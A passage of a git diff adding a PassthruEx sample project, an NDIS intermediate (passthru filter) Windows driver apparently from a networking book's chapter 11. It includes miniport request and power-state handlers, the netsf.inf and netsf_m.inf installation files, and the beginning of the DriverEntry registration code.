but fail it here with the status NDIS_STATUS_NOT_SUPPORTED. This is to + avoid performing incorrect transformations on data. + + If our miniport edge (upper edge) is at a low-power state, fail the request. + + If our protocol edge (lower edge) has been notified of a low-power state, + we pend this request until the miniport below has been set to D0. Since + requests to miniports are serialized always, at most a single request will + be pended. + +Arguments: + + MiniportAdapterContext Pointer to the adapter structure + Oid Oid for this query + InformationBuffer Buffer for information + InformationBufferLength Size of this buffer + BytesWritten Specifies how much info is written + BytesNeeded In case the buffer is smaller than what we need, tell them how much is needed + + +Return Value: + + Return code from the NdisRequest below. + +--*/ +{ + PADAPT pAdapt = (PADAPT)MiniportAdapterContext; + NDIS_STATUS Status = NDIS_STATUS_FAILURE; + + do + { + if (Oid == OID_PNP_QUERY_POWER) + { + // + // Do not forward this. + // + Status = NDIS_STATUS_SUCCESS; + break; + } + + if (Oid == OID_GEN_SUPPORTED_GUIDS) + { + // + // Do not forward this, otherwise we will end up with multiple + // instances of private GUIDs that the underlying miniport + // supports. + // + Status = NDIS_STATUS_NOT_SUPPORTED; + break; + } + + if (Oid == OID_TCP_TASK_OFFLOAD) + { + // + // Fail this -if- this driver performs data transformations + // that can interfere with a lower driver's ability to offload + // TCP tasks. + // + // Status = NDIS_STATUS_NOT_SUPPORTED; + // break; + // + } + // + // If the miniport below is unbinding, just fail any request + // + NdisAcquireSpinLock(&pAdapt->Lock); + if (pAdapt->UnbindingInProcess == TRUE) + { + NdisReleaseSpinLock(&pAdapt->Lock); + Status = NDIS_STATUS_FAILURE; + break; + } + NdisReleaseSpinLock(&pAdapt->Lock); + // + // All other queries are failed, if the miniport is not at D0, + // + if (pAdapt->MPDeviceState > NdisDeviceStateD0) + { + Status = NDIS_STATUS_FAILURE; + break; + } + + pAdapt->Request.RequestType = NdisRequestQueryInformation; + pAdapt->Request.DATA.QUERY_INFORMATION.Oid = Oid; + pAdapt->Request.DATA.QUERY_INFORMATION.InformationBuffer = InformationBuffer; + pAdapt->Request.DATA.QUERY_INFORMATION.InformationBufferLength = InformationBufferLength; + pAdapt->BytesNeeded = BytesNeeded; + pAdapt->BytesReadOrWritten = BytesWritten; + + // + // If the miniport below is binding, fail the request + // + NdisAcquireSpinLock(&pAdapt->Lock); + + if (pAdapt->UnbindingInProcess == TRUE) + { + NdisReleaseSpinLock(&pAdapt->Lock); + Status = NDIS_STATUS_FAILURE; + break; + } + // + // If the Protocol device state is OFF, mark this request as being + // pended. We queue this until the device state is back to D0. + // + if ((pAdapt->PTDeviceState > NdisDeviceStateD0) + && (pAdapt->StandingBy == FALSE)) + { + pAdapt->QueuedRequest = TRUE; + NdisReleaseSpinLock(&pAdapt->Lock); + Status = NDIS_STATUS_PENDING; + break; + } + // + // This is in the process of powering down the system, always fail the request + // + if (pAdapt->StandingBy == TRUE) + { + NdisReleaseSpinLock(&pAdapt->Lock); + Status = NDIS_STATUS_FAILURE; + break; + } + pAdapt->OutstandingRequests = TRUE; + + NdisReleaseSpinLock(&pAdapt->Lock); + + // + // default case, most requests will be passed to the miniport below + // + NdisRequest(&Status, + pAdapt->BindingHandle, + &pAdapt->Request); + + + if (Status != NDIS_STATUS_PENDING) + { + PtRequestComplete(pAdapt, &pAdapt->Request, Status); + Status = NDIS_STATUS_PENDING; + } + + } while (FALSE); + + return(Status); + +} + + +VOID +MPQueryPNPCapabilities( + IN OUT PADAPT pAdapt, + OUT PNDIS_STATUS pStatus + ) +/*++ + +Routine Description: + + Postprocess a request for OID_PNP_CAPABILITIES that was forwarded + down to the underlying miniport, and has been completed by it. + +Arguments: + + pAdapt - Pointer to the adapter structure + pStatus - Place to return final status + +Return Value: + + None. + +--*/ + +{ + PNDIS_PNP_CAPABILITIES pPNPCapabilities; + PNDIS_PM_WAKE_UP_CAPABILITIES pPMstruct; + + if (pAdapt->Request.DATA.QUERY_INFORMATION.InformationBufferLength >= sizeof(NDIS_PNP_CAPABILITIES)) + { + pPNPCapabilities = (PNDIS_PNP_CAPABILITIES)(pAdapt->Request.DATA.QUERY_INFORMATION.InformationBuffer); + + // + // The following fields must be overwritten by an IM driver. + // + pPMstruct= & pPNPCapabilities->WakeUpCapabilities; + pPMstruct->MinMagicPacketWakeUp = NdisDeviceStateUnspecified; + pPMstruct->MinPatternWakeUp = NdisDeviceStateUnspecified; + pPMstruct->MinLinkChangeWakeUp = NdisDeviceStateUnspecified; + *pAdapt->BytesReadOrWritten = sizeof(NDIS_PNP_CAPABILITIES); + *pAdapt->BytesNeeded = 0; + + + // + // Setting our internal flags + // Default, device is ON + // + pAdapt->MPDeviceState = NdisDeviceStateD0; + pAdapt->PTDeviceState = NdisDeviceStateD0; + + *pStatus = NDIS_STATUS_SUCCESS; + } + else + { + *pAdapt->BytesNeeded= sizeof(NDIS_PNP_CAPABILITIES); + *pStatus = NDIS_STATUS_RESOURCES; + } +} + + +NDIS_STATUS +MPSetInformation( + IN NDIS_HANDLE MiniportAdapterContext, + IN NDIS_OID Oid, + IN PVOID InformationBuffer, + IN ULONG InformationBufferLength, + OUT PULONG BytesRead, + OUT PULONG BytesNeeded + ) +/*++ + +Routine Description: + + Miniport SetInfo handler. + + In the case of OID_PNP_SET_POWER, record the power state and return the OID. + Do not pass below + If the device is suspended, do not block the SET_POWER_OID + as it is used to reactivate the Passthru miniport + + + PM- If the MP is not ON (DeviceState > D0) return immediately (except for 'query power' and 'set power') + If MP is ON, but the PT is not at D0, then queue the queue the request for later processing + + Requests to miniports are always serialized + + +Arguments: + + MiniportAdapterContext Pointer to the adapter structure + Oid Oid for this query + InformationBuffer Buffer for information + InformationBufferLength Size of this buffer + BytesRead Specifies how much info is read + BytesNeeded In case the buffer is smaller than what we need, tell them how much is needed + +Return Value: + + Return code from the NdisRequest below. + +--*/ +{ + PADAPT pAdapt = (PADAPT)MiniportAdapterContext; + NDIS_STATUS Status; + + Status = NDIS_STATUS_FAILURE; + + do + { + // + // The Set Power should not be sent to the miniport below the Passthru, but is handled internally + // + if (Oid == OID_PNP_SET_POWER) + { + MPProcessSetPowerOid(&Status, + pAdapt, + InformationBuffer, + InformationBufferLength, + BytesRead, + BytesNeeded); + break; + + } + + // + // If the miniport below is unbinding, fail the request + // + NdisAcquireSpinLock(&pAdapt->Lock); + if (pAdapt->UnbindingInProcess == TRUE) + { + NdisReleaseSpinLock(&pAdapt->Lock); + Status = NDIS_STATUS_FAILURE; + break; + } + NdisReleaseSpinLock(&pAdapt->Lock); + // + // All other Set Information requests are failed, if the miniport is + // not at D0 or is transitioning to a device state greater than D0. + // + if (pAdapt->MPDeviceState > NdisDeviceStateD0) + { + Status = NDIS_STATUS_FAILURE; + break; + } + + // Set up the Request and return the result + pAdapt->Request.RequestType = NdisRequestSetInformation; + pAdapt->Request.DATA.SET_INFORMATION.Oid = Oid; + pAdapt->Request.DATA.SET_INFORMATION.InformationBuffer = InformationBuffer; + pAdapt->Request.DATA.SET_INFORMATION.InformationBufferLength = InformationBufferLength; + pAdapt->BytesNeeded = BytesNeeded; + pAdapt->BytesReadOrWritten = BytesRead; + + // + // If the miniport below is unbinding, fail the request + // + NdisAcquireSpinLock(&pAdapt->Lock); + if (pAdapt->UnbindingInProcess == TRUE) + { + NdisReleaseSpinLock(&pAdapt->Lock); + Status = NDIS_STATUS_FAILURE; + break; + } + + // + // If the device below is at a low power state, we cannot send it the + // request now, and must pend it. + // + if ((pAdapt->PTDeviceState > NdisDeviceStateD0) + && (pAdapt->StandingBy == FALSE)) + { + pAdapt->QueuedRequest = TRUE; + NdisReleaseSpinLock(&pAdapt->Lock); + Status = NDIS_STATUS_PENDING; + break; + } + // + // This is in the process of powering down the system, always fail the request + // + if (pAdapt->StandingBy == TRUE) + { + NdisReleaseSpinLock(&pAdapt->Lock); + Status = NDIS_STATUS_FAILURE; + break; + } + pAdapt->OutstandingRequests = TRUE; + + NdisReleaseSpinLock(&pAdapt->Lock); + // + // Forward the request to the device below. + // + NdisRequest(&Status, + pAdapt->BindingHandle, + &pAdapt->Request); + + if (Status != NDIS_STATUS_PENDING) + { + *BytesRead = pAdapt->Request.DATA.SET_INFORMATION.BytesRead; + *BytesNeeded = pAdapt->Request.DATA.SET_INFORMATION.BytesNeeded; + pAdapt->OutstandingRequests = FALSE; + } + + } while (FALSE); + + return(Status); +} + + +VOID +MPProcessSetPowerOid( + IN OUT PNDIS_STATUS pNdisStatus, + IN PADAPT pAdapt, + IN PVOID InformationBuffer, + IN ULONG InformationBufferLength, + OUT PULONG BytesRead, + OUT PULONG BytesNeeded + ) +/*++ + +Routine Description: + This routine does all the procssing for a request with a SetPower Oid + The miniport shoud accept the Set Power and transition to the new state + + The Set Power should not be passed to the miniport below + + If the IM miniport is going into a low power state, then there is no guarantee if it will ever + be asked go back to D0, before getting halted. No requests should be pended or queued. + + +Arguments: + pNdisStatus - Status of the operation + pAdapt - The Adapter structure + InformationBuffer - The New DeviceState + InformationBufferLength + BytesRead - No of bytes read + BytesNeeded - No of bytes needed + + +Return Value: + Status - NDIS_STATUS_SUCCESS if all the wait events succeed. + +--*/ +{ + + + NDIS_DEVICE_POWER_STATE NewDeviceState; + + DBGPRINT(("==>MPProcessSetPowerOid: Adapt %p\n", pAdapt)); + + ASSERT (InformationBuffer != NULL); + + *pNdisStatus = NDIS_STATUS_FAILURE; + + do + { + // + // Check for invalid length + // + if (InformationBufferLength < sizeof(NDIS_DEVICE_POWER_STATE)) + { + *pNdisStatus = NDIS_STATUS_INVALID_LENGTH; + break; + } + + NewDeviceState = (*(PNDIS_DEVICE_POWER_STATE)InformationBuffer); + + // + // Check for invalid device state + // + if ((pAdapt->MPDeviceState > NdisDeviceStateD0) && (NewDeviceState != NdisDeviceStateD0)) + { + // + // If the miniport is in a non-D0 state, the miniport can only receive a Set Power to D0 + // + ASSERT (!(pAdapt->MPDeviceState > NdisDeviceStateD0) && (NewDeviceState != NdisDeviceStateD0)); + + *pNdisStatus = NDIS_STATUS_FAILURE; + break; + } + + // + // Is the miniport transitioning from an On (D0) state to an Low Power State (>D0) + // If so, then set the StandingBy Flag - (Block all incoming requests) + // + if (pAdapt->MPDeviceState == NdisDeviceStateD0 && NewDeviceState > NdisDeviceStateD0) + { + pAdapt->StandingBy = TRUE; + } + + // + // If the miniport is transitioning from a low power state to ON (D0), then clear the StandingBy flag + // All incoming requests will be pended until the physical miniport turns ON. + // + if (pAdapt->MPDeviceState > NdisDeviceStateD0 && NewDeviceState == NdisDeviceStateD0) + { + pAdapt->StandingBy = FALSE; + } + + // + // Now update the state in the pAdapt structure; + // + pAdapt->MPDeviceState = NewDeviceState; + + *pNdisStatus = NDIS_STATUS_SUCCESS; + + + } while (FALSE); + + if (*pNdisStatus == NDIS_STATUS_SUCCESS) + { + // + // The miniport resume from low power state + // + if (pAdapt->StandingBy == FALSE) + { + // + // If we need to indicate the media connect state + // + if (pAdapt->LastIndicatedStatus != pAdapt->LatestUnIndicateStatus) + { + NdisMIndicateStatus(pAdapt->MiniportHandle, + pAdapt->LatestUnIndicateStatus, + (PVOID)NULL, + 0); + NdisMIndicateStatusComplete(pAdapt->MiniportHandle); + pAdapt->LastIndicatedStatus = pAdapt->LatestUnIndicateStatus; + } + } + else + { + // + // Initialize LatestUnIndicatedStatus + // + pAdapt->LatestUnIndicateStatus = pAdapt->LastIndicatedStatus; + } + *BytesRead = sizeof(NDIS_DEVICE_POWER_STATE); + *BytesNeeded = 0; + } + else + { + *BytesRead = 0; + *BytesNeeded = sizeof (NDIS_DEVICE_POWER_STATE); + } + + DBGPRINT(("<==MPProcessSetPowerOid: Adapt %p\n", pAdapt)); +} + + +VOID +MPReturnPacket( + IN NDIS_HANDLE MiniportAdapterContext, + IN PNDIS_PACKET Packet + ) +/*++ + +Routine Description: + + NDIS Miniport entry point called whenever protocols are done with + a packet that we had indicated up and they had queued up for returning + later. + +Arguments: + + MiniportAdapterContext - pointer to ADAPT structure + Packet - packet being returned. + +Return Value: + + None. + +--*/ +{ + PADAPT pAdapt = (PADAPT)MiniportAdapterContext; + +#ifdef NDIS51 + // + // Packet stacking: Check if this packet belongs to us. + // + if (NdisGetPoolFromPacket(Packet) != pAdapt->RecvPacketPoolHandle) + { + // + // We reused the original packet in a receive indication. + // Simply return it to the miniport below us. + // + NdisReturnPackets(&Packet, 1); + } + else +#endif // NDIS51 + { + // + // This is a packet allocated from this IM's receive packet pool. + // Reclaim our packet, and return the original to the driver below. + // + + PNDIS_PACKET MyPacket; + PRECV_RSVD RecvRsvd; + + RecvRsvd = (PRECV_RSVD)(Packet->MiniportReserved); + MyPacket = RecvRsvd->OriginalPkt; + + NdisFreePacket(Packet); + NdisReturnPackets(&MyPacket, 1); + } +} + + +NDIS_STATUS +MPTransferData( + OUT PNDIS_PACKET Packet, + OUT PUINT BytesTransferred, + IN NDIS_HANDLE MiniportAdapterContext, + IN NDIS_HANDLE MiniportReceiveContext, + IN UINT ByteOffset, + IN UINT BytesToTransfer + ) +/*++ + +Routine Description: + + Miniport's transfer data handler. + +Arguments: + + Packet Destination packet + BytesTransferred Place-holder for how much data was copied + MiniportAdapterContext Pointer to the adapter structure + MiniportReceiveContext Context + ByteOffset Offset into the packet for copying data + BytesToTransfer How much to copy. + +Return Value: + + Status of transfer + +--*/ +{ + PADAPT pAdapt = (PADAPT)MiniportAdapterContext; + NDIS_STATUS Status; + + // + // Return, if the device is OFF + // + + if (IsIMDeviceStateOn(pAdapt) == FALSE) + { + return NDIS_STATUS_FAILURE; + } + + NdisTransferData(&Status, + pAdapt->BindingHandle, + MiniportReceiveContext, + ByteOffset, + BytesToTransfer, + Packet, + BytesTransferred); + + return(Status); +} + +VOID +MPHalt( + IN NDIS_HANDLE MiniportAdapterContext + ) +/*++ + +Routine Description: + + Halt handler. All the hard-work for clean-up is done here. + +Arguments: + + MiniportAdapterContext Pointer to the Adapter + +Return Value: + + None. + +--*/ +{ + PADAPT pAdapt = (PADAPT)MiniportAdapterContext; + NDIS_STATUS Status; + PADAPT *ppCursor; + + DBGPRINT(("==>MiniportHalt: Adapt %p\n", pAdapt)); + + // + // Remove this adapter from the global list + // + NdisAcquireSpinLock(&GlobalLock); + + for (ppCursor = &pAdaptList; *ppCursor != NULL; ppCursor = &(*ppCursor)->Next) + { + if (*ppCursor == pAdapt) + { + *ppCursor = pAdapt->Next; + break; + } + } + + NdisReleaseSpinLock(&GlobalLock); + + // + // Delete the ioctl interface that was created when the miniport + // was created. + // + (VOID)PtDeregisterDevice(); + + // + // If we have a valid bind, close the miniport below the protocol + // + if (pAdapt->BindingHandle != NULL) + { + // + // Close the binding below. and wait for it to complete + // + NdisResetEvent(&pAdapt->Event); + + NdisCloseAdapter(&Status, pAdapt->BindingHandle); + + if (Status == NDIS_STATUS_PENDING) + { + NdisWaitEvent(&pAdapt->Event, 0); + Status = pAdapt->Status; + } + + ASSERT (Status == NDIS_STATUS_SUCCESS); + + pAdapt->BindingHandle = NULL; + } + + // + // Free all resources on this adapter structure. + // + +// BEGIN_PTUSERIO + + // ÒƳý¶ÔÊÊÅäÆ÷µÄÒýÓà + PtDerefAdapter(pAdapt); + +// END_PTUSERIO + + DBGPRINT(("<== MiniportHalt: pAdapt %p\n", pAdapt)); +} + + +#ifdef NDIS51_MINIPORT + +VOID +MPCancelSendPackets( + IN NDIS_HANDLE MiniportAdapterContext, + IN PVOID CancelId + ) +/*++ + +Routine Description: + + The miniport entry point to handle cancellation of all send packets + that match the given CancelId. If we have queued any packets that match + this, then we should dequeue them and call NdisMSendComplete for all + such packets, with a status of NDIS_STATUS_REQUEST_ABORTED. + + We should also call NdisCancelSendPackets in turn, on each lower binding + that this adapter corresponds to. This is to let miniports below cancel + any matching packets. + +Arguments: + + MiniportAdapterContext - pointer to ADAPT structure + CancelId - ID of packets to be cancelled. + +Return Value: + + None + +--*/ +{ + PADAPT pAdapt = (PADAPT)MiniportAdapterContext; + + // + // If we queue packets on our adapter structure, this would be + // the place to acquire a spinlock to it, unlink any packets whose + // Id matches CancelId, release the spinlock and call NdisMSendComplete + // with NDIS_STATUS_REQUEST_ABORTED for all unlinked packets. + // + + // + // Next, pass this down so that we let the miniport(s) below cancel + // any packets that they might have queued. + // + NdisCancelSendPackets(pAdapt->BindingHandle, CancelId); + + return; +} + +VOID +MPDevicePnPEvent( + IN NDIS_HANDLE MiniportAdapterContext, + IN NDIS_DEVICE_PNP_EVENT DevicePnPEvent, + IN PVOID InformationBuffer, + IN ULONG InformationBufferLength + ) +/*++ + +Routine Description: + + This handler is called to notify us of PnP events directed to + our miniport device object. + +Arguments: + + MiniportAdapterContext - pointer to ADAPT structure + DevicePnPEvent - the event + InformationBuffer - Points to additional event-specific information + InformationBufferLength - length of above + +Return Value: + + None +--*/ +{ + // TBD - add code/comments about processing this. + + UNREFERENCED_PARAMETER(MiniportAdapterContext); + UNREFERENCED_PARAMETER(DevicePnPEvent); + UNREFERENCED_PARAMETER(InformationBuffer); + UNREFERENCED_PARAMETER(InformationBufferLength); + + return; +} + +VOID +MPAdapterShutdown( + IN NDIS_HANDLE MiniportAdapterContext + ) +/*++ + +Routine Description: + + This handler is called to notify us of an impending system shutdown. + +Arguments: + + MiniportAdapterContext - pointer to ADAPT structure + +Return Value: + + None +--*/ +{ + UNREFERENCED_PARAMETER(MiniportAdapterContext); + + return; +} + +#endif + + +VOID +MPFreeAllPacketPools( + IN PADAPT pAdapt + ) +/*++ + +Routine Description: + + Free all packet pools on the specified adapter. + +Arguments: + + pAdapt - pointer to ADAPT structure + +Return Value: + + None + +--*/ +{ + if (pAdapt->RecvPacketPoolHandle != NULL) + { + // + // Free the packet pool that is used to indicate receives + // + NdisFreePacketPool(pAdapt->RecvPacketPoolHandle); + + pAdapt->RecvPacketPoolHandle = NULL; + } + + if (pAdapt->SendPacketPoolHandle != NULL) + { + + // + // Free the packet pool that is used to send packets below + // + + NdisFreePacketPool(pAdapt->SendPacketPoolHandle); + + pAdapt->SendPacketPoolHandle = NULL; + + } +} + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/netsf.inf" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/netsf.inf" new file mode 100644 index 0000000..9e700e0 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/netsf.inf" @@ -0,0 +1,156 @@ +; -- NETSF.INF -- +; +; Passthru driver INF file - this is the INF for the service (protocol) +; part. +; +; Copyright (c) 1993-2001, Microsoft Corporation +; +; ---------------------------------------------------------------------- +; Notes: +; 0. The term "filter" is used in this INF to refer to an NDIS IM driver that +; implements a 1:1 relationship between upper and lower bindings. +; +; 1. Items specifically required for a filter have been marked with +; "!!--Filter Specific--!!" keyword +; 2. In general a filter DOES NOT require a notify object for proper installation. +; A notify object is only required if one wants to have better control +; over binding operations or if one wants to receive notifications +; when other components get installed/removed/bound/unbound. +; Since Windows 2000 systems do not have support for CopyINF directive, +; a notify object is required to programmatically copy the miniport INF +; file to the system INF directory. Previous versions of this INF file +; erroneously used to copy the INF files directly by using the CopyFiles +; directive. +; On Windows XP, you can install a filter IM without a notify object. +; by following the instructions in (4). +; +; 3. If you want to use this INF file with your own IM driver, please +; make the following modifications: +; File netsf.inf +; -------------- +; a. In section [SourceDiskFiles] and [Passthru.Files.Sys] +; change passthru.sys to the name of your own driver binary. +; b. In section [Passthru.ndi.AddReg], change values of +; BindForm and MiniportId to appropriate values. +; File netsf_m.inf +; ---------------- +; a. Replace MS_PassthruMP with InfId of your miniport. +; b. In section [PassthruMP.AddService], +; change ServiceBinary appropriately. +; c. In section [PassthruMP.ndi.AddReg], +; change "Passthru" in the line having "Service" +; to reflect the appropriate name +; +; +; ---------------------------------------------------------------------- + +[Version] +Signature = "$Windows NT$" +Class = NetService +ClassGUID = {4D36E974-E325-11CE-BFC1-08002BE10318} +Provider = %Msft% +DriverVer = 06/24/1999,5.00.2071.1 + + +[Manufacturer] +%Msft% = MSFT + +[ControlFlags] + +;========================================================================= +; +;========================================================================= + +[MSFT] +%Passthru_Desc% = Passthru.ndi, ms_passthru + + + +[Passthru.ndi] +AddReg = Passthru.ndi.AddReg, Passthru.AddReg +Characteristics = 0x4410 ; NCF_FILTER | NCF_NDIS_PROTOCOL !--Filter Specific--!! +CopyFiles = Passthru.Files.Sys +CopyInf = netsf_m.inf + +[Passthru.ndi.Remove] +DelFiles = Passthru.Files.Sys + +[Passthru.ndi.Services] +AddService = Passthru,, Passthru.AddService + +[Passthru.AddService] +DisplayName = %PassthruService_Desc% +ServiceType = 1 ;SERVICE_KERNEL_DRIVER +StartType = 3 ;SERVICE_DEMAND_START +ErrorControl = 1 ;SERVICE_ERROR_NORMAL +ServiceBinary = %12%\passthru.sys +LoadOrderGroup = PNP_TDI +AddReg = Passthru.AddService.AddReg + + +[Passthru.AddService.AddReg] +; ---------------------------------------------------------------------- +; Add any miniport-specific parameters here. These are params that your +; filter device is going to use. +; +;HKR, Parameters, ParameterName, 0x10000, "MultiSz", "Parameter", "Value" +;HKR, Parameters, ParameterName2, 0x10001, 4 + + +; ---------------------------------------------------------------------- +; File copy +; +[SourceDisksNames] +1=%DiskDescription%,"",, + +[SourceDisksFiles] +passthru.sys=1 + +[DestinationDirs] +DefaultDestDir = 12 +Passthru.Files.Sys = 12 ; %windir%\System32\drivers + +[Passthru.Files.Sys] +passthru.sys,,,2 + +; ---------------------------------------------------------------------- +; Filter Install +; + +[Passthru.ndi.AddReg] +HKR, Ndi, HelpText, , %Passthru_HELP% + +; ---------------------------------------------------------------------- +; !!--Filter Specific--!! +; +; Note: +; 1. Other components may also have UpperRange/LowerRange but for filters +; the value of both of them must be noupper/nolower +; 2. The value FilterClass is required. +; 3. The value Service is required +; 4. FilterDeviceInfId is the InfId of the filter device (miniport) that will +; be installed for each filtered adapter. +; In this case this is ms_passthrump (refer to netsf_m.inf) +; +HKR, Ndi, FilterClass, , failover +HKR, Ndi, FilterDeviceInfId, , ms_passthrump +HKR, Ndi, Service, , Passthru +HKR, Ndi\Interfaces, UpperRange, , noupper +HKR, Ndi\Interfaces, LowerRange, , nolower +HKR, Ndi\Interfaces, FilterMediaTypes, , "ethernet, tokenring, fddi, wan" + +[Passthru.AddReg] +; The following key is Required +; The following key is Passthru specific +HKR, Parameters, Param1, 0, 4 + +; ---------------------------------------------------------------------- +[Strings] +Msft = "Microsoft" +DiskDescription = "Microsoft Passthru Driver Disk" + +Passthru_Desc = "Passthru Driver" +Passthru_HELP = "Passthru Driver" +PassthruService_Desc = "Passthru Service" + + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/netsf_m.inf" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/netsf_m.inf" new file mode 100644 index 0000000..1522514 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/netsf_m.inf" @@ -0,0 +1,75 @@ +; -- NETSF_M.INF -- +; +; Passsthru Miniport INF file +; +; Copyright (c) 1993-1999, Microsoft Corporation + +; ---------------------------------------------------------------------- +; Notes: +; 0. The term "filter" is used here to refer to an NDIS IM driver that +; implements a 1:1 relationship between upper and lower bindings. +; 1. Items specifically required for a filter have been marked with +; "!!--Filter Specific--!!" keyword +; 2. A filter DOES NOT require a notify object for proper installation. +; A notify object is only required if one wants to have better control +; over binding operations or if one wants to receive notifications +; when other components get installed/removed/bound/unbound. +; This sample uses a notify object as an example only. If you do not +; want to use a notify object, please comment out the lines that add +; ClsId and ComponentDll registry keys. +; ---------------------------------------------------------------------- + +[Version] +signature = "$Windows NT$" +Class = Net +ClassGUID = {4d36e972-e325-11ce-bfc1-08002be10318} +Provider = %Msft% +DriverVer = 06/24/1999,5.00.2071.1 + +[ControlFlags] +ExcludeFromSelect = ms_passthrump + +[DestinationDirs] +DefaultDestDir=12 +; No files to copy + +[Manufacturer] +%Msft% = MSFT + +[MSFT] +%PassthruMP_Desc% = PassthruMP.ndi, ms_passthrump + +[PassthruMP.ndi] +Characteristics = 0x29 ;NCF_NOT_USER_REMOVABLE | NCF_VIRTUAL | NCF_HIDDEN +CopyFiles = + +[PassthruMP.ndi.Services] +AddService = Passthru,0x2, PassthruMP.AddService + + +[PassthruMP.AddService] +ServiceType = 1 ;SERVICE_KERNEL_DRIVER +StartType = 3 ;SERVICE_DEMAND_START +ErrorControl = 1 ;SERVICE_ERROR_NORMAL +ServiceBinary = %12%\passthru.sys + + +[PassthruMP.AddService.AddReg] +; ---------------------------------------------------------------------- +; Add any miniport-specific parameters here. These are params that your +; filter device is going to use. +; +;HKR, Parameters, ParameterName, 0x10000, "MultiSz", "Parameter", "Value" +;HKR, Parameters, ParameterName2, 0x10001, 4 + +[Strings] +Msft = "Microsoft" +PassthruMP_Desc = "Passthru Miniport" + +[SourceDisksNames] +;None + +[SourceDisksFiles] +;None + + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/passthru.c" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/passthru.c" new file mode 100644 index 0000000..c88dc4e --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/passthru.c" @@ -0,0 +1,415 @@ +/*++ + +Copyright (c) 1992-2000 Microsoft Corporation + +Module Name: + + passthru.c + +Abstract: + + Ndis Intermediate Miniport driver sample. This is a passthru driver. + +Author: + +Environment: + + +Revision History: + + +--*/ + + +#include "precomp.h" +#pragma hdrstop + + +#pragma NDIS_INIT_FUNCTION(DriverEntry) + +NDIS_HANDLE ProtHandle = NULL; +NDIS_HANDLE DriverHandle = NULL; +NDIS_MEDIUM MediumArray[4] = + { + NdisMedium802_3, // Ethernet + NdisMedium802_5, // Token-ring + NdisMediumFddi, // Fddi + NdisMediumWan // NDISWAN + }; + +NDIS_SPIN_LOCK GlobalLock; + +PADAPT pAdaptList = NULL; +LONG MiniportCount = 0; + +NDIS_HANDLE NdisWrapperHandle; + +// +// To support ioctls from user-mode: +// + +#define LINKNAME_STRING L"\\DosDevices\\Passthru" +#define NTDEVICE_STRING L"\\Device\\Passthru" + +NDIS_HANDLE NdisDeviceHandle = NULL; +PDEVICE_OBJECT ControlDeviceObject = NULL; + +enum _DEVICE_STATE +{ + PS_DEVICE_STATE_READY = 0, // ready for create/delete + PS_DEVICE_STATE_CREATING, // create operation in progress + PS_DEVICE_STATE_DELETING // delete operation in progress +} ControlDeviceState = PS_DEVICE_STATE_READY; + + + +NTSTATUS +DriverEntry( + IN PDRIVER_OBJECT DriverObject, + IN PUNICODE_STRING RegistryPath + ) +/*++ + +Routine Description: + + First entry point to be called, when this driver is loaded. + Register with NDIS as an intermediate driver. + +Arguments: + + DriverObject - pointer to the system's driver object structure + for this driver + + RegistryPath - system's registry path for this driver + +Return Value: + + STATUS_SUCCESS if all initialization is successful, STATUS_XXX + error code if not. + +--*/ +{ + NDIS_STATUS Status; + NDIS_PROTOCOL_CHARACTERISTICS PChars; + NDIS_MINIPORT_CHARACTERISTICS MChars; + NDIS_STRING Name; + + Status = NDIS_STATUS_SUCCESS; + NdisAllocateSpinLock(&GlobalLock); + + NdisMInitializeWrapper(&NdisWrapperHandle, DriverObject, RegistryPath, NULL); + + do + { + // + // Register the miniport with NDIS. Note that it is the miniport + // which was started as a driver and not the protocol. Also the miniport + // must be registered prior to the protocol since the protocol's BindAdapter + // handler can be initiated anytime and when it is, it must be ready to + // start driver instances. + // + + NdisZeroMemory(&MChars, sizeof(NDIS_MINIPORT_CHARACTERISTICS)); + + MChars.MajorNdisVersion = PASSTHRU_MAJOR_NDIS_VERSION; + MChars.MinorNdisVersion = PASSTHRU_MINOR_NDIS_VERSION; + + MChars.InitializeHandler = MPInitialize; + MChars.QueryInformationHandler = MPQueryInformation; + MChars.SetInformationHandler = MPSetInformation; + MChars.ResetHandler = NULL; + MChars.TransferDataHandler = MPTransferData; + MChars.HaltHandler = MPHalt; +#ifdef NDIS51_MINIPORT + MChars.CancelSendPacketsHandler = MPCancelSendPackets; + MChars.PnPEventNotifyHandler = MPDevicePnPEvent; + MChars.AdapterShutdownHandler = MPAdapterShutdown; +#endif // NDIS51_MINIPORT + + // + // We will disable the check for hang timeout so we do not + // need a check for hang handler! + // + MChars.CheckForHangHandler = NULL; + MChars.ReturnPacketHandler = MPReturnPacket; + + // + // Either the Send or the SendPackets handler should be specified. + // If SendPackets handler is specified, SendHandler is ignored + // + MChars.SendHandler = NULL; // MPSend; + MChars.SendPacketsHandler = MPSendPackets; + + Status = NdisIMRegisterLayeredMiniport(NdisWrapperHandle, + &MChars, + sizeof(MChars), + &DriverHandle); + if (Status != NDIS_STATUS_SUCCESS) + { + break; + } + +#ifndef WIN9X + NdisMRegisterUnloadHandler(NdisWrapperHandle, PtUnload); +#endif + + // + // Now register the protocol. + // + NdisZeroMemory(&PChars, sizeof(NDIS_PROTOCOL_CHARACTERISTICS)); + PChars.MajorNdisVersion = PASSTHRU_PROT_MAJOR_NDIS_VERSION; + PChars.MinorNdisVersion = PASSTHRU_PROT_MINOR_NDIS_VERSION; + + // + // Make sure the protocol-name matches the service-name + // (from the INF) under which this protocol is installed. + // This is needed to ensure that NDIS can correctly determine + // the binding and call us to bind to miniports below. + // + NdisInitUnicodeString(&Name, L"Passthru"); // Protocol name + PChars.Name = Name; + PChars.OpenAdapterCompleteHandler = PtOpenAdapterComplete; + PChars.CloseAdapterCompleteHandler = PtCloseAdapterComplete; + PChars.SendCompleteHandler = PtSendComplete; + PChars.TransferDataCompleteHandler = PtTransferDataComplete; + + PChars.ResetCompleteHandler = PtResetComplete; + PChars.RequestCompleteHandler = PtRequestComplete; + PChars.ReceiveHandler = PtReceive; + PChars.ReceiveCompleteHandler = PtReceiveComplete; + PChars.StatusHandler = PtStatus; + PChars.StatusCompleteHandler = PtStatusComplete; + 